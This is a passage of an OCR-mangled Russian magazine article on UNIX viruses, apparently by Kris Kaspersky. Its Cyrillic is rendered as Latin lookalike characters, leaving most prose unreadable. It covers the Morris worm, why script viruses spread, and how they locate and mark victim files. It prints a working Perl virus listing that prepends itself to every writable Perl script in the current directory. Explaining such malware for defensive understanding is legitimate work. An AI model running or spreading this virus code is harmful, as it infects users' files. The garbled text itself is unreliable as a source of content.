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BUPYCbI B UNIX,
WIN TUBEJb «TUTAHUKA> I

Ho4sro 14 anpens 1912 roga npuvHapnexasLumm
BputaHmm HernoTonIseMbivi OKeaHCKUM nanHep « TMTaHuK»
CTOJIKHY/ICSI C aricbeprom v YTOHY/1, yHECsl ¢ COOOU XU3HIN

boree naTHafUaty COTeH 13 AByX TbiCSY ABYXCOT
rnaccaxuposB. .. [TockonbKy «TuTtaHuK» Obil HEMOTOM/ISEM,
Ha Hem He XBaTwsio criacatesibHbIX LUOMOK.

LDxoseqh Xennep

«Boobpasu cebe KapTuHy»

Cyuraercs, 410 B UNIX-cuctemax Bupychl He XuByT — OHU TaMm JOXHYT. OTYacTH 3TO [eNCTBUTE/IbHO Tak,
OHAKO He CTOUT yTaTb MPUHLMUINATIEHYIO HEBOSMOXHOCTb CO34aHNsi BUPYCOB C X OTCYTCTBUEM Kak
TaKkoBbix. B gevicteutenibHocTu xe UNIX-BupyCcbi CyLLECTBYIOT, M HAa HACTOALLMIA MOMEHT (Havano 2004 rosa)
WX NOMyNauns HacYnTbIBAET 60J1ee 1BYX AECATKOB. HemHoro? He topornntecs ¢ BbiBogamn. «Llechuumr» UNIX-
BUPYCOB HOCUT CYObEKTUBHbIN, & HE 00bEKTUBHBIA XapakTep. [poCTo B Cusly MEHbLLIEN PacripOCTPAHEHHOCTH
UNIX-rogo6HbIx 0nepaynoHHbIX CUCTEM U CrIeUNGOUKN UX HANPABIIEHHOCTH B 3TOM MUPE MPaKTU4ecku
He BCTpe4aeTcs 4ayHOB v BaHAanoB. CTerneHb 3alyniLeHHOCTN 0NnepaynoHHON CUCTEMbI TYT HE MPU YEM.
Hapeatbcs, 4o UNIX cripaButes ¢ Bupycamm u cama, HECKOJIbKO HAUBHO U, YTOObI HE PAa3AenTb CyAboYy
«TUTaHNKa» , I6PXXNTE 3aLUNTHBIE CPEACTBA BCEIAA 10 PYKOU, TLLATE/IbHO MPOBEPSS KAX/bIN 3arlyCKaeMbli
Ghavin Ha npegmet Hamamns 3apasbl. O TOM, Kak 3T0 CAenatk, M PACCKA3bIBAET HACTOALLAS CTATbA.

KPHC KACIEPCKH
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McTopryeckn CnoXunnoch Tak, YTo NepBbIM HaLLyMeBLLINM BU-
pycom ctan Yepeb Moppuca, 3anyLieHHbIn um B CeTb 2 HO-
A6ps 1988 roga 1 nopaxaroLnii KOMMbIOTEPbI, OCHALLEHHbIE
4 BSD UNIX. 3amonro fo atoro, B Hosiope 1983 r., gokTop
®pepnepuk KoaH (Dr. Frederick Cohen) nokasan BO3MOXHOCTb
CYLLECTBOBaHMA CaMOPa3MHOXatOLLMXCA NporpaMM B 3aluu-
LLIEHHbIX OMEepaLMOHHbIX CUCTEMAX, NPOLEMOHCTPUPOBAB He-
CKOMNbKO MPaKTUYeCKMUX peanuaaumnii Ansa KOMMbIOTEPOB TUMa
VAX, ynpaensiembix onepaunoHHoi cuctemoin UNIX. Cuunra-
€TCA, YTO UMEHHO OH BMEepBble YNoTPeoun TEPMUH «BUPYC».

Ha camom gene mexpy aTuMu OBYMSI COObITUAMU HET
Hu4ero obuero. Bupyc Moppuca pacnpocTpaHsncs yepes
Ablpbl B CTAHAAPTHOM MporpaMmMHOM obecnedeHun (KoTo-
pble, KCTaTW roBops, LONroe BPEMSA OCTaBanuCb He3akpbl-
TbiMK), B TO Bpems kak KoaH paccmaTpusan npobnemy ca-
MOpa3MHOXatoLLMXCS NporpamMm B naeanM3npoBaHHoON one-
paunoHHON cucTeme 6e3 Kakmx-nmbo AedekToB B cUCTeEMe
6es3onacHoOCTU. Hanuymne gblp NPOCTO yBENMYMIO MacluTa-
6bl aNMOEMUM 1 CAENANo pa3MHOXEHUe BUpYyca npakTnyec-
KN HEKOHTPONUPYEMBIM.

A Tenepb nepeHecemcs B Hawwwm gHu. MonynapHocTs UNIX-
NoA0BHLIX CUCTEM CTPEMUTESIBHO PacTeT U UHTEPEC K HUM
CO CTOPOHbI BUpyconucaTenen Bce ysenuuusaeTcs. Keanu-
hmKaumna CMCTEMHbIX agMUHUCTPATOPOB (NOnb3oBaTenei
nepcoHanbHbIX KOMMbIOTEPOB M paboymx CTaHUuiA), Hanpo-
TUB, HEYKIIOHHO nagaeT. Bce aTo co3gaet 6naronpusTHyo
cpegy Ons BOCMPOM3BOLCTBA W Pa3MHOXEHUS BUPYCOB, U
npouecc Ux paspaboTKu B NOOON MOMEHT MOXET MPUHATb
NaBMHOO6PA3HbIN XapakTep, — CTOUT TOJNIbKO COOTBETCTBYIO-
LM TexHonormsam nonactb B maccbl. [otoBo nn UNIX-coo6-
LLEecTBO NpotnBocToATb aToMy? HeT! Cyas no gyxy, Butao-
LEeMY B TeNIeKOH(EepEeHLMSX, N OBLLEMY HACTPOEHUIO aaMu-
HucTpaTopos, UNIX cuutaetcs HenoTonnsaemon cuctemon, n
BMpYCHas yrpo3a BOCMPUHUMAETCS KpalHe CKeNTUYECKM.

Mexay TeM, Ka4eCTBO TECTUPOBaHUSA NPOrPaMMHOIo 06€ec-
neYveHus (HeBaxHO, pPacnpOCTPaHAEMOro B OTKPbITbIX UCXOA-
HbIX TEKCTax UNW HET) JOCTATOYHO HEBENWKO W, N0 METKOMY
BblpaXeHU0 OQHOr0 M3 XakepoB, OAWH-€OUHCTBEHHbIN
SendMail copgepxwuT 6onbLue ablip, Yem Bce Windows-npuio-
XeHus1 BMecTe B3ATble. BonblLOe KONMYECTBO PasfnyHbIX
anctpubytneos UNIX-cMCTEM MHOrOKpaTHO CHUXAET BIMS-
HWe KaXOoW KOHKPETHOM AbIpKK, orpaHunymBas apean obura-
HWS BUPYCOB CPaBHUTENbHO HEOOSbLUMM KONMYECTBOM Ma-
LUMH, OOHaKO B YCNOBMAX BCEOOLLEN rnobanv3aumm u BbICoO-
KOCKOPOCTHbIX MHTEPHET-KAHANOB AaXe Ype3BblHaiHO N36K-
patesbHbIA BUPYC CNOCO6EH NOPa3nTb ThICAYM KOMMbIOTEPOB
32 CYMTaHHbIE OHU UK Aaxe 4Yachil!

PacnpocTpaHeHuio BUPYCOB HEBEPOSTHO CMOCOBCTBYET
TOT (pakT, YTO B NOJABNAIOLLEM OOSBLUMHCTBE Clly4aeB CUC-
Tema KOH(UrypupyeTcst ¢ LOBOSIbHO AEMOKPATUYHbIM YPOB-
HEM [ocTyna. MHorga aTo NpoMCXOauT MO HE3HAHMIO WM/Mn
HEBPEXHOCTU CUCTEMHBIX afMWHUCTPATOPOB, MHOrAA MO
«MPON3BOACTBEHHOW» HeobxogumocTu. Ecnu Ha malumnHe
NMOCTOSAHHO OOHOBNSETCA BOJLLLOE KONUYECTBO NPOrpaMMHO-
ro obecneyeHus (B TOM YMcne U co3naBaemoro COGCTBEHHbI-
MW cunamu), NPUBMUNErMN Ha MOAMMDUKALMIO UCMOSTHAEMbIX
hannioB CTaHOBATCA NPOCTO HEOOXOAMMBI, B MPOTUBHOM Chy-
yae npouecc O6LLEHUs C KOMMBIOTEPOM M3 PagOCTU PUCKYET
npeBpaTUTLCH B MyYeHWe.

Ne1(14), auBapb 2004

6e3onacHocTb

Y70 661 TAM HK roBopun thaHaTvku UNIX, Ho BUpYChl pas-
MHOXatoTCA M Ha 3Toi nnatdopme. OTMaxmBaTbCs OT 3TON
npobnembl 03Ha4YaeT ynogobuTbcs cTpaycy. Bbl xoTute 6bITh
cTpaycamun? 9 gymato — HeT!

VYcnosusa, HeobxoauMbIe

ang (IJVHKII,I/IOHI/IpOBaHmI BUpYCcOB

MamsATyst 0 TOM, 4TO OBLLENPUHATOTO OMPERENEHNA «KOMMb-
IOTEPHBIX BUPYCOB» HE CYLLECTBYET, YC/IOBUMCA 0603Ha4aTb
3TMM TEPMUHOM BCE MPOrpaMMbl, CMOCOOHbIE K CKPbITOMY
pasMHOXeHMI0. MocnegHee MOXET BbiTb Kak CaMOCTOSATESb-
HbIM (MOpaXKeHne NPOUCXOANT 6e3 KaKMx-Nnbo OeincTBuii co
CTOPOHbI NONb30BATENS: AOCTATOHHO NPOCTO BOWTW B CETh),
Tak 1 HET (BMpYC NpobyXAaaeTcs TONbKO NOcne 3anycka WH-
mumpoBaHHON Nporpammel).

Cchopmynmpyem MUHUMYM TpeboBaHWiA, «npegbaBnse-
MbIX>» CaMOPa3MHOXaIOLLMMUCH NPOrpaMMamMm K OKpyxXaro-
Len cpefe (kcTaTu, novemy Obl OKpYXaloLLYlo CPpeay He Ha-
3BaTb OKPYXaloLmm 4YeTBeprom?):

B B onepaunMoHHON CUCTEME UMEKTCS UCMONHAEMble
00beKThI;
B 5TV 06bEKTbI BOSMOXHO MOAMMMLMPOBaTL MWK co3aa-

BaTb HOBbIE;

B npoucxoanT 06MEH MCMONHSEMbIMUA 0ObEKTAMU MEXAY
pasnuyHbIMK apeanamm obuTaHus.

Mop «McnonHsAeMbiM 06bEKTOM» 3[eCh MOHUMAETCS He-
KoTopas abcTpakTHas CyLLHOCTb, CNocobHas ynpaenaTh Mo-
BEAEHMEM KOMMbIOTEPA MO CBOEMY YCMOTPEHMIO. KOHEYHO,
3T0 He caMOe yaadHoe OnpefenieHne, HO BCAKas MombiTka
KOHKpEeTU3aummn Hem3bexHo obopaymBaeTcs NoTepen 3Ha-
yumocTu. Hanpumep, TekcToBbid chavin B dhopmate ASCII
WHTEPNPETUPYETCS BMOJSIHE ONPEeAesieHHbIM 06pasoM 1 Ha
nepBbI B3rNs4 cpefov obuTtaHus Bupyca ObiTb HUKaK He
moxeT. OgHako, ecnn TEKCTOBOM NPOLECCOP COOEPXMT
owmbky Tuna «buffer overfull», cywecTsyeT BnonHe peasb-
Has BO3MOXHOCTb BHeApeHusi B (hain MallMHHOIO Koja C
nocnenylowen nepegaden Ha Hero ynpaeneHusi. A aTo 3Ha-
YUT, 4TO Mbl HE MOXEM anpuopu yTBEPXAATb, KaKoh 06bEKT
MCMOJHSAEMbIN, a KaKon HeT.

B nnaHe BO3BpaLLEHMSs C HEBEC TEOPETUHECKON 3K30TUKM
Ha rpeLUHy 3emito 06eTOBaHHY, OrpaHUYMM Kpyr CBOUX WH-
TEPECoB TPEMSI OCHOBHbIMYM TMaMMW UCMOSTHAEMbIX 06bEKTOB:
OMCKOBLIMM (haiinamu, onepaTMBHON NaMATLIO U 3arpy30u-
HbIMW CEKTOpaMM.

Mpouecc pa3aMHOXeHUA BMPYCOB B O6LLIEM Clly4ae CBO-
AUTCA K MoamdmKaLmMmn UCNONHAEMbIX 0OBEKTOB C TaKUM pac-
4ETOM, YTOBbI XOTb OfHaX[bl B XW3HU NONY4YUTb yrpasse-
Hue. OnepauynoHHble cuctembl cemeiictea UNIX no ymonya-
HUIO 3anpeLLaoT nonb3oBaTtensM moamdulumMpoBaTb UCMon-
HAeMble (haisibl, NPeOCTaBNAsA 3Ty NPUBUAEMMIO NWLLb root.
3T0 Ype3Bbl4aNHO 3aTPYAHAET Pa3MHOXEHWE BUMPYCOB, HO
OTHIOOb HE AenaeT ero HeBO3MOXHbIM! Bo-nepBbix, faneko
He Bce nonb3oBatenn UNIX ocosHaloT onacHOCThL pernctpa-
LMK ¢ npaeamu root, 3n1oynoTpebnss en 6e30 BCAKON HeO0b-
XogmMmocTu. Bo-BTOpbIX, HEKOTOPLIE NPUIOXEHWS TOMNBKO NOJ
root M paboTaloT, NpUYEM co3LaTb BUPTYaNbHOrO Nosb30Ba-
Tens, M30NIMPOBAHHOMO OT BCEX OCTallbHbIX (halsioB cucTe-
Mbl, B HEKOTOPbIX CRy4asix NPOCTO He Mony4vaeTcsi. B-TpeTb-
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WX, HanMuue Ablp B NPOrpamMHOM OBECMEYEHUM MO3BOSET
BMPYCY LECTBOBATL B 0O6XOL YCTAHOBNEHHBIX OrPaHNHEHWIA.

Tem 6onee, 4YTO NOMMMO COBCTBEHHO CamMX MCMOSHse-
Mbix pannos B UNIX-cuctemax MMEKTCA M Ype3BblHaNHO
LUMPOKO MCMONb3YHTCA MHTEPNPETUPYEMbIE hainbl (Hanee
Mo TeKCTy npocTo ckpunthl). Mpuuem, ecnun B Mupe Windows
KOMaHAHble (hainbl UrpatoT cyry6o BCNOMOraTesibHyto porb,
TO BCAKMIA yBaxatowmin ced6s UNIX-nonb3osatenb noboe
Masio-MasibCKM 4acTO BbINOMHAEMOE LENCTBME 3aroHsieT B
OTOENbHbIA CKPUNT, Nocne 4ero 3abbiBaeT O HEM Hamnpoub.
Ha ckpunTax OepXuTcs He TONMbKO KOMaHgHas CTPOKa, HO W
MporpaMmbl reHepauum OTHETOB, UHTEPAKTUBHbIE BEG-CTpa-
HWYKMW, MHOTOYMCNEHHbIE YNPaBNEHYECKME NPUNOXEHNA U T. A,
Mopgudurkaums qanioB CKpUNToOB, Kak nNpasuno, He TpebyeTt
HUKaKu1X 0COBEHHbIX Npas, 1 NOTOMY OHM OKa3bIBaKTCA BMOSI-
HE NepCneKTUBHON KaHOMOATYPOW ONS 3apaxeHus. Takxe
BMPYCHI MOTYT NOpaxaTb U UCXOAHbIE TEKCTbI Nporpamm, u
MCXOAHbIE TEKCTHI ONEpPaLMOHHON CUCTEMBI, C KOMMUIATOPOM
B TOM 4ucne (Mx MogndmKaums B 60MbLUMHCTBE CryyaeB pas-
peLueHa).

Yepeu MOryT BoobLLE MOJONrY He 3afepXmBaThcA B Of-
HOM KOMMbIOTEPE, MCMOMb3YS €ro NINLb Kak BPEMEHHOE Mpw-
CTaHWLLE AN PacCblfkM CBOEro Tena Ha Apyrue MalluHbI.
OpHako 60MbLUMHCTBO YepBel BCe Xe MPeanoyMTaioT ocef-
NblA 06pa3 XM3HN KOHEBOMY, BHELPACH B ONEpaTvBHY /nnu
LONTOBPEMEHHYIO NaMsAThb. [119 CBOEro pasMHOXEHUS YEPBU
06bI4HO MCNONb3YIOT AeeKTHI ONepaLMOHHON CUCTEMBI M/MN
ee OKpYXeHus, obecneymBaloLLime BOSMOXHOCTb YAaneHHo-
ro BbIMOSIHEHMS NPOrpaMMHOro Koaa. Psg BMpycoB pacnpoc-
TpaHseTca Yepe3 NPUKPENEHHbIE K MUCbMY haisibl (B Ky-
pUNKax MMeHyemble aTTa4amu OT aHruninckoro attachment —
BIIOXEHWE) B HAfeX[e, YTO [OBEPYMBLIA NONb30BaTESNb 3a-
nyctut ux. K cyactblo, UNIX-nonb3oBatenu B cBoen macce
HE HaCTONMbKO Mynbl, YTO6bI NOMABLCTUTLCA Ha CTONMb OYEBMUA-
Hyl0 3apasy.

OTKpOBEHHO rOBOPS, MPUYMHA HWU3KOWM aKTUBHOCTU BUpY-
COB KPOETCA OTHIOAb He B 3almiieHHocT UNIX, Ho B NpuHs-
TOM CXeMe pacnpocTpaHeHUs NPOrpaMMHOro obecneveHus.
O6meHa 1cnonHaeMbIMU haiinamMm Mexay nosib30BaTensiMu
UNIX npakTuyeckun He npoucxoaut. BMecTo aToro oHm npegp-
MOYMTAIOT CKa4mBaTb TPebyoLmecs UM NporpaMmbl ¢ Opu-
TMHANBHOrO UCTOYHMKA, 3a4aCTy0 B MCXOOHbIX TeKCTax. He-
CMOTPSA Ha UMEIOLLMECs NpeLeaeHTsl B3noma web/ftp-cepae-
POB 1 TPOSHU3ALMM UX COLEPXKMMOTO, HI1 OBHOW Masio-Maslb-
CKW BHYLUMTESIbHOM SMUAEMUM €LLe He CIy4nriochb, XOTs JIo-
KaJibHble 04aru «BO3ropaHusi» BCe-Taku Oblu.

ArpeccusHaa nonutuka npopsuxerns LINUX Beponom-
HO npoTankmeaeT 3Ty OC Ha PbIHOK AOMALLHMX U OPUCHBIX
MK, T.e. B Te coepsbl, rae UNIX He TonbKo He cunbHa, HO U no-
MpocTy He HyxHa. OKasaBLUMCh B KpYry HEKBalMUUMPOBaH-
HbIX nonb3osatener, UNIX aBTomatuyecku notepseT 3saHue
CBOGOAHOM OT BMPYCOB CUCTEMBI, U ONYCTOLUMTENbHbIE 3nvae-
MUK He 3acTaBaT cebs xaaTb. BCTpeTUM Mbl UX BO BCEOPYXW
U B 04epenHoi pa3 fagvM maxy, BOT B HeM BOMPOC. ..

Bupycobl B ckpuntax

Kak y>Xe 0TMe4anocChb Bbille, CKpUNTbl BbIMMAQAT AOCTATOYHO
anBneKaTeanoﬁ cpe,u,oﬁ ona o0buTaHus BMPYCOB, K BOT NO-
yemy:

B B mupe UNIX ckpunTbl BE3AECYLUM;

B mopudmkaums 60nbLIMHCTBA (haliNioB CKPUNTOB paspe-
LeHa;

B ckpunTbl 3a4aCTy0 COCTOSIT M3 COTEH CTPOK KOfa, B KOTO-
PbIX O4YeHb JIErko 3aTepaThCs;

B ckpunTbl Hanbonee abcTparnpoBaHbl OT 0COGEHHOCTEN
peanu3aumm KoHkpetHoro UNIX;

B BO3MOXHOCTM CKPUMTOB COMOCTaBMUMbI C fi3blKaMu BbICO-
koro ypoBHsi (Cu, Belicuk, Mackanb);

B ckpuntamu nosb3oBaTenn o6MeHVUBaoTCs 60nee UHTEH-
CVBHO, YeM WCMOJSTHAEMbIMU haiinamu.

BonbLUMHCTBO agMUHUCTPATOPOB KpariHe NpeHe6pexu-
TENIbHO OTHOCATCA K CKPUMNTOBBLIM BMPYCaM, CHUTas MX «He-
HacTosALmMMK» . Mexay Tem, cucteme no 6osbLLOMY CHETY BCE
paBHO, KakuM MMEHHO BMPYCOM ObITb aTakOBaHHOM — HACTO-
AWM MM HeT. Tpy KaXyLLencs UrpyLLIeYHOCTM CKPUNT-BU-
pyCbl NPeACTaBnAoT co60M [OCTAaTO4HO CEpPLE3HYI Yrpo3y.
Apean nx obuTaHus NpaKT4eCcKn 6e3rpaHNyeH — OHK ycneLu-
HO MopaxatoT Kak KOMMNbloTepbl ¢ npoueccopamu Intel
Pentium, Tak n DEC Alpha/SUN SPARC. Onu BHeapsiloTCs B
no60oe BO3MOXHOE MECTO (KOHeL/Ha4ano/cepeanHy) 3apaxa-
emoro channa. Mpu XefaHuM OHWM MOryT OCTaBaTbCA pe3w-
LEHTHO B NamaTK, nopaxas dannbl B )OHOBOM pexnme. Pag
CKpWNT-BMPYCOB MCMONb3YIOT Te Unu nHble Stealth-TexHosno-
W, CKpbIBas (hakT CBOEro MpUCYTCTBMA B cucTeme. eHwmii
VHXEHEPHOW MbIC/IN BUPYCONMCATENEN YXXe OCBOWUN NOIMMOp-
hu3m, ypaBHSB TeM caMbiM CKpPUMT-BMPYCbl B NpaBax ¢ BW-
pycamu, NOpaxarLmMMn ABOVYHbIE (hainbl.

Kaxmbln CKpUNT, MOJSTYYEHHbIA U3BHE, Nepeq yCTaHOB-
KOW B CMCTEMY JOMKEH ObITb TLATENbHBIM 06pa3oM Mpo-
aHanuMaupoBaH Ha npegMeT npucyTcTBusA 3apasbl. Cutya-
LmMa ycyrybnaetcs Tem, YTO CKPUMTbI, B OTIMHKNE OT ABOMY-
HbIX (painos, NpeacTaBnaAlT cobow plain-TekcT, Ha4YUCTO
NLLIEHHbIN BHYTPEHHEN CTPYKTYpPbI, & MOTOMY Npu ero 3a-
PaXXEHUN HUKAKUX XapaKTepHbIX M3MEHEHWUA He MPOUCXO-
ONT. EOMHCTBEHHOE, 4TO BUPYC HE MOXET Nopaenartb — 370
CTUNb odopmneHns nncTuHra. MNMoyepk Kaxaoro nporpam-
MucTa CTporo uHameupyaneH. OgHM UCNONb3YIOT Tabyns-
umMio, Apyrue nNpeanoymTaoT BblpaBHMBATL CTPOKM nocpes-
cTBOM npo6enos. OgHW pasBopadmBaloT KOHCTPYKUmH if —
else Ha BECb 3KpaH, Apyrue ymeLlaioT UX B OQHY CTPOKY.
OpHu patoT BCeEM NepeMeHHbIM OCMbICNEHHbIE UMEHA, ApY-
rMe MCnonb3ylT OOHO-ABYX CUMBONbHYIO abpakapabpy B
ctune «A», «X», «FN» n 1. g. [laxe 6ernbii npocMoTp 3a-
PaXXeHHOro (haina no3sonseT 06HaAPYXWUTb UHOPOLHbIE
BCTaBKW (KOHEYHO, NPWU TOM YCNTIOBUM, 4TO BUPYC HE nepe-
hopmaTupyeT nopaxaemblin 06LEKT).

Jiucrunr 1. llpuMep Bupyca, OGHapyXMBaKmero cefs HO CTUI

#!/usr/bin/perl #PerlDemo
open (File,$0) ; @Virus=<File>; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) .
&& (-w $FileName) && (-f SFileName)) {
open(File, "$FileName"); QTemp=<File>; close(File);
if ((@Temp[1l] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[l] =~ "perl")) {
open(File, ">$FileName"); print File @Virus;
print File QTemp; close (File); } } } }

[anble. MPpaMOTHO CMPOEKTUMPOBaHHLINM BUPYC Mopaxa-
eT TOMbKO (haiinbl «CBOEro» Tuna, B MPOTUBHOM Crly4ae OH
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6bICTPO MPUBERET CUCTEMY K Kpaxy, AeMackupys cebs u na-
panu3ys panbHelllee pacnpocTpaHeHue. MNockonbky B Mupe
UNIX-thainnam He NpuHATO JaBaTb pacluMpeHuns, 3agada no-
ncKa NOLAXOLALLMX XEPTB CYLLUECTBEHHO OCMNOXHSETCH, U BU-
pycy npuxoauTcs SBHO NepedupaTb Bce dhainbl 0auH 3a of-
HUM, OMPERENsisA UX TUM BPYYHYIO.

CyLLecTBYIOT N0 MEHbLLEN Mepe ABE METOAMKM TAKOro on-
PEeneneHuns: OTOXOECTBIIEHNE KOMAHAHOrO MHTEpnpeTaTopa
1 3BPUCTMHECKUIN aHan3. HavHem ¢ nepsoro us Hux. Ecnv B
Havarne aina CToMT Maru4eckas nociefoBaTesibHOCTb «#!»,
TO OCTaTOK CTPOKM COLEPXUT NyTb K Nporpamme, o6pabdartsi-
BatoLLlen gaHHbIi ckpunt. [ns uHTepnpetatopa bopHa aTta
CTpoka 06bI4HO UMeeT Bug «#!/bin/sh», a ansa Perl — «#!/usr/
bin/perl». Takum o6pa3om, 3agada onpefeneHus Tuna dain-
na B 06LLEM Crny4ae CBOAWUTCS K YTEHMIO €ro NepPBOW CTPOKM
1 CPABHEHWIO €€ C OJHWUM MU HECKOMbKMMM 3TanoHamu. Ecnu
TONbKO BMPYC HE UCMONb30BaN XELL-CPaBHEHWE, STaNOHHbIE
CTPOKM ByAyT ABHO NMPWUCYTCTBOBATb B 3apaXeHHOM (haine,
nerko o6HapyxuBas ceds TPMBMASbHLIM KOHTEKCTHBIM MOWC-
KOM (CM. NIUCTUHIK 2, 3).

[eBATb N3 OeCATV CKPUNT-BMPYCOB JIOBATCS HA 3TOT He-
3aMbICNOBATHIN NPUEM, OCTaNbHbIE XE TLIATENbHO CKPbIBa-
0T 3TaSIOHHbIE CTPOKM OT MOCTOPOHHMX rNas (Hampumep,
LUNGPYIOT MX WK XXe UCMONb3YHT NOCUMBOSBHOE CpaBHE-
Hue). OgHako B NO6GOM cryqae nepen CpaBHEHWEM CTPOKU
C 3TaNIOHOM BMPYC JOMKEH ee cyutaTb. B koMaHgHbIX daii-
nax pns 3Tol uenu obbIYHO MCNOSb3YIOTCA KOMaHabl greep
unn head. KoHe4Ho, nx Hanu4mne B (haine eule He ceuae-
TENbCTBYET O 3aPAXEHHOCTW NOCNEAHEro, OAHAKO NO3BO-
NSET NOKanM30BaTb XWU3HEHHO BaXHble LEHTPLI BMpYCa,
OTBETCTBEHHbIE 3a ONpPeAeNneHnst Tuna ganna, YTo 3Ha4u-
TeNbHO ycKopsieT ero aHanua. B Perl-ckpunTax yteHue an-
na Yale BCEero OCYLLECTBNIAETCA YEPe3 onepaTop «< >»,
pexe ucnonbaytotca dyHkumm read/readline/getc. ToT dhakr,
4TO NPaKTUYECKU HW OfHA Mano-masbCcku cepbesHas Perl-
nporpamma He o6xoguTca 6e3 ¢haiinoBoro BBOAa/BbIBOAA,
4pe3BblYaHO 3aTPYOHSAET BbIBNEHNE BUPYCHOMO KOAA, 0CO-
6EHHO ecnu YTeHne danna NnPoMcxoauT B OQHON BETKE Mpo-
rpaMmbl, a ONPeResieHNe ero TMna — COBCEM B ApYyroit. 3to
3aTPyQHSET aBTOMAaTU3MPOBAHHBIA aHanM3, HO eLle He fe-
naeT ero HeBO3MOXHbIM!

3BpPUCTUHECKME aNrOpUTMbI NOWUCKA XEPTBLI COCTOAT B
BblAENEHUN YHUKASbHbIX NOCNef0BaTENBHOCTEN, NPUCYLLNX
charinam JaHHOro TuMa M He BCTPEYAIOLUMXCSH HU B KaKMX
apyrux. Tak, Hanuyue nocnegoBatensHocTH «if [» ¢ Bepo-
STHOCTbIO BNN3KON K eAuHMLE yKa3biBaeT Ha KOMaHOHbINA
cKpunT. HekoTopble BMPYCbl OTOXAECTBAAIOT KOMaHAHbIe
thannbl no cTpoke «Bourne», koTopas NpuCyTCTBYET B He-
KOTOPbIX, XOTS U Janeko He BCeX ckpuntax. EcTecTBeHHo,
HUKaKMX YHMBEpCaslbHbIX NMPUEMOB Pacrno3HaBaHWs 3BpUC-
TUYECKUX anrOPUTMOB HE CYLLECTBYET (HA TO OHW W 3BPUC-
TUYECKNE anropuTMmbl).

Bo n3bexaHne MHOrOKpaTHOro MHULMpoBaHus danna-
HOCUTENS BUPYChI JOIKHbI YMETb pacno3HasaTthb (hakT cBoe-
ro NpUcyTcTBMA B HeM. Hanbonee oyeBugHbIN (1 Nonynsp-
HbIl!) anropuT™M CBOAMUTCA K BHEAPEHWUIO CreumanbHOW KIlto-
4eBOWN MeTKM (Bpofe «3To A — Bacsa»), npeactaensioLLen co-
60V YHUKaNbHYI0 MOCNER0BATENBHOCTL KOMAHA, TaK ckasaTb,
CUrHaTypy BMpyCa Unu Xe NPOCTO 3aMbIC/IOBATbLIA KOMMEH-
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Tapuit. CTporo roBops, rapaHTMpPOBaHHas YHWKaIbHOCTb BU-
pycam COBEpLUEHHO He HyXxHa. [JocTaTo4HO, YTOObI Kitoue-
Bas METKA OTCyTCTBOBasa 6o5iee YeM B MOSIOBUMHE HEUHGU-
LMpOBaHHbIX harnos. MNMonCK KYEBON METKM MOXET OCy-
LLECTBNATLCA Kak komaHpamu find/greep, Tak n noctpoyey-
HbIM YTEHWEM M3 (haina ¢ MoCNenyoWMM CpaBHEHNEM [O-
ObITbIX CTPOK C 3TanoHoM. CKpunTbl KOMaHOHbIX MHTEpnpe-
TAToOPOB MCNOMbL3YIOT ANA 3TOM Lenu koMandbl head u tail,
NPUMEHSIEMbIE COBMECTHO C OMEPaTopoM «=», Hy a Perl-Bu-
pycbl Bce 6OrbLUE TAFOTEOT K PErYNAPHLIM BbIPaXEHUAM, HTO
CYLLIECTBEHHO 3aTPYOHSAET UX BbISBNEHNE, T.K. 6€3 perynsp-
HbIX BbIPaXEHWA HEe 0BXOAMTCA MPaKTUYECKM HM oaHa Perl-
nporpamma.

Opyroit BOSMOXHOW 3aLenkon ABNSETCA nepemMeHHas
«$0», ucrnonbayemas BUpycamu ans onpeaeneHnst co6cTeeH-
HOro UMeHWU. He CEKPET, 4TO MHTEPNPETUPYEMbIE A3bIKM MPO-
rpaMMMPOBaHMS He UMEIOT HUKAKOro NpefacTaBNeHNst O TOM,
KakuM MMEHHO 06pa3oM CKpWUMTbl pasMeLLaloTcst B NamsTy,
W NpY BCEM XENAHUN HE MOTYT «OOTAHYTHCA» 00 HUX. A pa3
Tak, TO eAUHCTBEHHLIM CMOCOBOM PENPOLYLMPOBaHUS CBOE-
ro Tena OCTaeTca YTeHMe WCXOAHOro doaiina, UMs KOToporo
nepenaeTcs B HyNEBOM apryMeHTe KOMaHOHON CTPOKM. JTO
[OCTaTO4HO XapaKTePHbIA NPU3HAK 3apaxeHus nccnegyemo-
ro davna, o CyLlecTByeT 04eHb HEMHOIO MPUYKH, MO KO-
TOPbLIM NporpamMmMa MOXET MHTEPECcOBaTbCS CBOUM Ha3BaHM-
eM U NyTeM.

Bnpouem, cyLiecTByeT (Mo KpaiHeNn Mepe TEOPEeTUYECKHN)
N anbTepHaTMBHbIA cnocob pasmHoxeHusi. OH paboTaeT no
TEM Xe MpUHUMNaM, Y4To M MporpaMma, pacrnevartbiBatoLlas
cama ceb6s (B 6blnoe Bpems 6e3 3TOM 3afjadku He obxoau-
nacb HW ofHa onuMnMaga no MHgopmatuke). PelleHne cBo-
AMTCS K (hOPMMPOBAHUIO NepeMeHHON, coaepxalleit npo-
rpaMMHbI KOf BUpYCa, C MOCEAYIOLLMM BHEOPEHUEM OHOIO
B 3apaxaeMblii (han. B npocTenlem cnyyvae gns aToro uc-
NOMb3YeTCA KOHCTPYKLUMA «<<», NO3BONAOLLAA CKPbITb hakT
BHEAPEHMS NPOrPaMMHOIO Kofa B TEKCTOBYIO MEPEMEHHYIO
(v aTo BbIrogHo oTnnyaet Perl oT Cu). MocTpoyHas reHepa-
umsa koga B ctune «@Virus[0]= “W\IVusrVbinVperl”» BcTpeya-
€TCH Pexe, T.K. CIIMLLKOM FPOMO3AKO, HEMPAKTUYHO U K TOMY
Xe HarnsgHo (B cMbicne gaxe npu 6ernom npocMoTpe uc-
TWHra BbIAaeT BUPYC C FOSIOBOWA).

3awwmnpoBaHHble BMPYCHl pacno3HaloTcs eLle npoLue.
Haunbonee npMMMTMBHbIE 3K3eMNNspbl copepXat 6onbluoe
KOSIMHECTBO «LUYMSALLMX» OBOWYHbIX NOCNEROBATENLHOCTEN
™na «\X73\XFF\x33\x69\x02\x11...», 4bKM chnarmaHoMm sBNs-
eTca cneumndgumkarop «\x», 3a kotopbiM crnepyet ASCII-kop
3almgpoBaHHoro cumeona. bonee coBepLueHHblE BUPYChI
UCNONb3YIOT TE UK MHble pasHosunaHocTn UUE-kogmpoBa-
HusA, 6narofapsa 4Yemy BCe 3alUMpPOBaHHbIE CTPOKM BbIMNA-
[T BNOMHE 4nTabesibHo, XOTA M NpeacTaBnsoT cobon Gec-
